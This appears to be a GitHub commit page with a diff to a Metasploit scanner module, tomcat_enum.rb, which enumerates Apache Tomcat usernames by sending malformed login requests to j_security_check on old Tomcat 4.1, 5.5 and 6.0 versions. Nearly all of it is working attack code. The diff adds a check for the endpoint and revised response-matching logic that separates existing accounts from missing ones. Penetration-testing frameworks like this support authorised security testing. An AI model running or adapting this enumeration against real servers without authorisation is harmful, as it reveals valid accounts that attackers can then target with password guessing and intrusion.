Skip to content

Commit c5d426f

Browse files
author
jvazquez-r7
committed
Land rapid7#2235, @wchen-r7's patch for [SeeRM rapid7#6264]
2 parents 790654a + 780293d commit c5d426f

File tree

1 file changed

+42
-11
lines changed

1 file changed

+42
-11
lines changed

modules/auxiliary/scanner/http/tomcat_enum.rb

Lines changed: 42 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -20,8 +20,11 @@ def initialize
2020
super(
2121
'Name' => 'Apache Tomcat User Enumeration',
2222
'Description' => %q{
23-
Apache Tomcat user enumeration utility, for Apache Tomcat servers prior to version
24-
6.0.20, 5.5.28, and 4.1.40.
23+
This module enumerates Apache Tomcat's usernames via malformed requests to
24+
j_security_check, which can be found in the web administration package. It should
25+
work against Tomcat servers 4.1.0 - 4.1.39, 5.5.0 - 5.5.27, and 6.0.0 - 6.0.18.
26+
Newer versions no longer have the "admin" package by default. The 'admin' package
27+
is no longer provided for Tomcat 6 and later versions.
2528
},
2629
'Author' =>
2730
[
@@ -54,7 +57,23 @@ def target_url
5457
"http://#{vhost}:#{rport}#{uri}"
5558
end
5659

60+
def has_j_security_check?
61+
vprint_status("#{target_url} - Checking j_security_check...")
62+
res = send_request_raw({'uri' => normalize_uri(datastore['URI'])})
63+
if res
64+
vprint_status("#{target_url} - Server returned: #{res.code.to_s}")
65+
return true if res.code == 200 or res.code == 302
66+
end
67+
68+
false
69+
end
70+
5771
def run_host(ip)
72+
unless has_j_security_check?
73+
print_error("#{target_url} - Unable to enumerate users with this URI")
74+
return
75+
end
76+
5877
@users_found = {}
5978

6079
each_user_pass { |user,pass|
@@ -85,15 +104,18 @@ def do_login(user)
85104
'data' => post_data,
86105
}, 20)
87106

88-
if res
89-
if res.code == 200
90-
if res.headers['Set-Cookie']
91-
vprint_status("#{target_url} - Apache Tomcat #{user} not found ")
92-
else
93-
print_good("#{target_url} - Apache Tomcat #{user} found ")
94-
@users_found[user] = :reported
95-
end
96-
end
107+
if res and res.code == 200 and res.headers['Set-Cookie']
108+
vprint_error("#{target_url} - Apache Tomcat #{user} not found ")
109+
elsif res and res.code == 200 and res.body =~ /invalid username/i
110+
vprint_error("#{target_url} - Apache Tomcat #{user} not found ")
111+
elsif res and res.code == 500
112+
# Based on: http://archives.neohapsis.com/archives/bugtraq/2009-06/0047.html
113+
vprint_good("#{target_url} - Apache Tomcat #{user} found ")
114+
@users_found[user] = :reported
115+
elsif res and res.body.empty? and res.headers['Location'] !~ /error\.jsp$/
116+
# Based on: http://archives.neohapsis.com/archives/bugtraq/2009-06/0047.html
117+
print_good("#{target_url} - Apache Tomcat #{user} found ")
118+
@users_found[user] = :reported
97119
else
98120
print_error("#{target_url} - NOT VULNERABLE")
99121
return :abort
@@ -106,3 +128,12 @@ def do_login(user)
106128
end
107129

108130
end
131+
132+
=begin
133+
134+
If your Tomcat doesn't have the admin package by default, download it here:
135+
http://archive.apache.org/dist/tomcat/
136+
137+
The package name should look something like: apache-tomcat-[version]-admin.zip
138+
139+
=end

0 commit comments

Comments
 (0)